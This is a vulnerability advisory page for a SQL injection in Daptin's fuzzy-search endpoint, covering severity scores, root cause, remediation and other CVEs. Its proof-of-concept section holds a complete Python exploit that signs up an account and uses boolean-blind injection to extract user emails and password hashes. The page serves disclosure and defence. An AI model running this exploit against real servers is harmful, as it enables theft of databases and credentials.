Skip to main content

Daptin CVE-2026-44349

HIGH
SQL Injection (CWE-89)
2026-05-06 https://github.com/daptin/daptin GHSA-pwqg-q8pg-pp6r
7.1
CVSS 4.0 · GitHub Advisory
Share

Severity by source

GitHub Advisory PRIMARY
7.1 HIGH
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
vuln.today AI
6.5 MEDIUM

Network-reachable API with trivially obtained self-signup account gives PR:L and AC:L; impact is full database read (C:H) with no write or availability effect (I:N/A:N).

3.1 AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
SUSE
HIGH
qualitative

Primary rating from GitHub Advisory.

CVSS VectorGitHub Advisory

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
X

Lifecycle Timeline

5
Source Code Evidence Fetched
Jul 23, 2026 - 23:11 vuln.today
Analysis Generated
Jul 23, 2026 - 23:11 vuln.today
CVSS changed
May 07, 2026 - 15:22 NVD
7.1 (HIGH)
CVE Published
May 06, 2026 - 22:10 github-advisory
HIGH 7.1
CVE Published
May 06, 2026 - 22:10 nvd
HIGH

DescriptionGitHub Advisory

Summary

processFuzzySearch in server/resource/resource_findallpaginated.go:1484 splits the user-supplied column parameter by comma and interpolates each segment directly into goqu.L(fmt.Sprintf("LOWER(%s) LIKE ?", prefix+col)) raw SQL with no column whitelist check. The entry point is GET /api/<entity> with operator=fuzzy (or fuzzy_any, fuzzy_all). Any authenticated user - including one who self-registered with no admin involvement - can read the entire database.

---

Details

At resource_findallpaginated.go:1761, when the operator is fuzzy, fuzzy_any, or fuzzy_all, execution routes to processFuzzySearch (line 1763) before processQueryFilter (line 1780). processQueryFilter is the only path that calls GetColumnByName (line 1351), which validates column names against the table schema. The fuzzy branch never reaches that check.

Inside processFuzzySearch (line 1484), filterQuery.ColumnName is split by comma. After strings.TrimSpace (line 1486), each segment is routed to a DB-driver-specific function. The injectable sink reached depends on the driver and the fuzzy_options.fallback_mode field.

SQLite (processFuzzySearchSQLite, lines 1632-1676) uses goqu.L in all code paths - no fallback_mode required:

  • goqu.L(fmt.Sprintf("LOWER(%s) LIKE ?", prefix+col), ...) - line 1650/1657

PostgreSQL, MySQL, MSSQL default to goqu.Ex (identifier-quoted, not injectable). The goqu.L sink is only reached when the attacker supplies a specific fuzzy_options.fallback_mode value in the HTTP query JSON:

  • PostgreSQL word_boundary mode (line 1540): goqu.L(fmt.Sprintf("%s ~* ?", prefix+col), ...)
  • MySQL soundex mode (line 1598): goqu.L(fmt.Sprintf("SOUNDEX(%s) = SOUNDEX(?)", prefix+col), ...)
  • MSSQL soundex mode (line 1694): goqu.L(fmt.Sprintf("DIFFERENCE(%s, ?) >= 3", prefix+col), ...)

fuzzy_options is deserialized from the HTTP request at line 243 (json.Unmarshal([]byte(query[0]), &queries)) - it is fully attacker-controlled.

goqu.L emits its first argument as a raw SQL literal. The column position uses %s string formatting, not a bound parameter.

prefix is fixed at line 351 as dbResource.model.GetName() + "." - for /api/world this is "world.". Against SQLite, an attacker-supplied column value of reference_id) OR 1=1 OR LOWER(world.reference_id expands in the WHERE clause to LOWER(world.reference_id) OR 1=1 OR LOWER(world.reference_id) LIKE ?. Against PostgreSQL (where reference_id is stored as bytea), the ~* regex operator requires a text-type column; the attack targets a varchar column instead (e.g., table_name) with an adapted injection template.

Relation to GHSA-rw2c-8rfq-gwfv: That patch modified resource_aggregate.go to fix /aggregate/:typename. This vulnerability is in resource_findallpaginated.go on the /api/<entity> fuzzy path - different file, different endpoint, different operator. The existing patch does not cover this path.

Tested: SQLite injection dynamically confirmed (boolean-blind extraction, email extracted). PostgreSQL word_boundary injection dynamically confirmed (baseline=0 rows, tautology=5 rows, email=guest@cms.go extracted via text column). MySQL and MSSQL confirmed by code review; MySQL binary panics on initialization in the test harness (unrelated daptin bug), dynamic verification not performed.

Fix: Add a GetColumnByName whitelist check in processFuzzySearch (line 1484) before the comma-split, matching the pattern in processQueryFilter:1351. All four DB driver sinks require fixing.

---

PoC

Environment:

bash
git clone https://github.com/daptin/daptin
cd daptin
git checkout 5d3214244890989eceefa694bfc976ef11458721
go build -o daptin-server .
./daptin-server
# listens on :6336, SQLite backend by default

poc.py (Python 3, no dependencies):

python
import json, urllib.request, urllib.parse

BASE = "http://localhost:6336"

def post(path, body):
    req = urllib.request.Request(BASE + path, json.dumps(body).encode(),
                                 {"Content-Type": "application/json"})
    try:
        return json.loads(urllib.request.urlopen(req, timeout=10).read(50_000))
    except urllib.request.HTTPError as e:
        return json.loads(e.read(50_000))

def token():
    post("/action/user_account/signup", {"attributes": {
        "name": "poc", "email": "poc@test.com",
        "password": "adminadmin", "passwordConfirm": "adminadmin"}})
    body = post("/action/user_account/signin", {"attributes": {
        "email": "poc@test.com", "password": "adminadmin"}})
    return next(i["Attributes"]["value"] for i in body
                if i.get("ResponseType") == "client.store.set")

def rows(col, jwt):
    q = urllib.parse.urlencode({"query": json.dumps(
        [{"column": col, "operator": "fuzzy", "value": "zzzzz"}])})
    req = urllib.request.Request(f"{BASE}/api/world?{q}&page%5Bsize%5D=5",
                                 headers={"Authorization": "Bearer " + jwt})
    d = json.loads(urllib.request.urlopen(req, timeout=10).read(50_000))
    return len(d.get("data", []))

def oracle(expr, jwt):
    col = f"reference_id) OR ({expr}) OR LOWER(world.reference_id"
    return rows(col, jwt) > 0

def extract_int(sql, jwt, hi=200):
    lo = 0
    while lo < hi:
        mid = (lo + hi + 1) // 2
        if oracle(f"({sql}) >= {mid}", jwt): lo = mid
        else: hi = mid - 1
    return lo

def extract_str(sql, jwt, maxlen=80):
    n = extract_int(f"LENGTH(({sql}))", jwt, hi=maxlen)
    s = ""
    for _ in range(n):
        lo, hi = 32, 126
        while lo < hi:
            mid = (lo + hi) // 2
            pfx = s.replace("'", "''")
            expr = f"({sql}) >= '{pfx}'||char({mid+1})" if s else f"({sql}) >= char({mid+1})"
            if oracle(expr, jwt): lo = mid + 1
            else: hi = mid
        s += chr(lo)
    return s

jwt = token()
print("baseline :", rows("reference_id", jwt), "rows")
print("tautology:", rows("reference_id) OR 1=1 OR LOWER(world.reference_id", jwt), "rows")

jwt = token()
print("sqlite_master table count:", extract_int("SELECT count(*) FROM sqlite_master WHERE type='table'", jwt, hi=80))
print("email (row 1):", extract_str("SELECT email FROM user_account ORDER BY id LIMIT 1", jwt))
pw_hex = extract_str("SELECT HEX(password) FROM user_account WHERE email='poc@test.com' LIMIT 1", jwt, maxlen=40)
print("pw hash prefix:", bytes.fromhex(pw_hex).decode("ascii", errors="replace"))

Output (measured on commit 5d32142, SQLite, macOS arm64):

baseline : 0 rows
tautology: 5 rows
sqlite_master table count: 57
email (row 1): guest@cms.go
pw hash prefix: $2a$11$W7vO9oOPzpf7u

---

Impact

Attacker precondition: One valid JWT. Self-signup is enabled by default on a fresh daptin instance - no admin involvement required.

What is impacted: The full database is readable via boolean-blind extraction, including all tables visible in sqlite_master and credential data (emails, bcrypt password hashes) in user_account. Extraction rate is approximately 7 HTTP requests per character, making full-database extraction feasible.

AnalysisAI

SQL injection in Daptin's fuzzy-search API (versions <= 0.11.4) allows any authenticated user to read the entire backend database via boolean-blind extraction. The GET /api/<entity> endpoint with operator=fuzzy passes the user-supplied column parameter into raw SQL through goqu.L without schema validation, bypassing the GetColumnByName whitelist used on other query paths. Publicly available exploit code exists (SSVC lists Exploitation: poc) and the vulnerability is CWE-89; a full working PoC extracted user emails and bcrypt hashes on SQLite, though EPSS remains low at 0.05%.

Technical ContextAI

Daptin is an open-source, Go-based headless CMS and backend-as-a-service that auto-generates REST/JSON:API endpoints over a relational database, supporting SQLite (default), PostgreSQL, MySQL, and MSSQL via the goqu query builder. The root cause (CWE-89, SQL Injection) is in processFuzzySearch (server/resource/resource_findallpaginated.go:1484), which splits the client-controlled column parameter by comma and interpolates each segment into fmt.Sprintf("LOWER(%s) LIKE ?", prefix+col) wrapped in goqu.L. goqu.L emits its first argument as a raw SQL literal, so the %s column position is never bound or identifier-quoted. The safe path, processQueryFilter, calls GetColumnByName (line 1351) to validate column names against the table schema, but the fuzzy operator routes to processFuzzySearch (line 1763) before that check at line 1780, so the whitelist is never applied. Attacker control extends to fuzzy_options.fallback_mode, deserialized from the request JSON at line 243, which selects the driver-specific sink.

RemediationAI

Vendor-released patch: upgrade to Daptin 0.11.5 or later, which adds a GetColumnByName whitelist check in processFuzzySearch to validate all column names against the table schema before they reach any DB-specific handler (fixing SQLite, PostgreSQL, MySQL, and MSSQL sinks); see https://github.com/daptin/daptin/releases/tag/v0.11.5 and the advisory at https://github.com/daptin/daptin/security/advisories/GHSA-pwqg-q8pg-pp6r. If immediate patching is not possible, the most effective compensating control is to disable open self-signup so an attacker cannot mint their own JWT (trade-off: breaks legitimate self-registration workflows and requires admin-provisioned accounts), and to restrict network access to the /api/<entity> endpoints to trusted clients via a reverse proxy or WAF rule that blocks query parameters containing fuzzy operators or comma-separated column values (trade-off: may break legitimate fuzzy-search usage). Monitoring database query logs for anomalous LOWER()/SOUNDEX()/regex predicates on the world and user_account tables can provide detection while the patch is rolled out.

More in Python

View all
CVE-2025-24016 CRITICAL POC
9.9 Feb 10

Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t

CVE-2025-27520 CRITICAL POC
9.8 Apr 04

BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser

CVE-2025-2945 CRITICAL POC
9.9 Apr 03

pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi

CVE-2013-5093 MEDIUM POC
6.8 Sep 27

The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python

CVE-2025-32375 CRITICAL POC
9.8 Apr 09

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2024-21644 HIGH POC
7.5 Jan 08

pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.

CVE-2026-33017 CRITICAL POC
9.3 Mar 17

Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301

CVE-2017-9462 HIGH POC
8.8 Jun 06

In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse

CVE-2026-49869 CRITICAL POC
10.0 Jun 26

Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2024-21645 MEDIUM POC
5.3 Jan 08

pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne

Vendor StatusVendor

SUSE

Severity: Important
Product Status
SUSE Linux Enterprise Server 16.1 Affected
SUSE Linux Enterprise Server for SAP applications 16.1 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP5 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP6 Affected
openSUSE Leap 15.5 Affected

Share

CVE-2026-44349 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy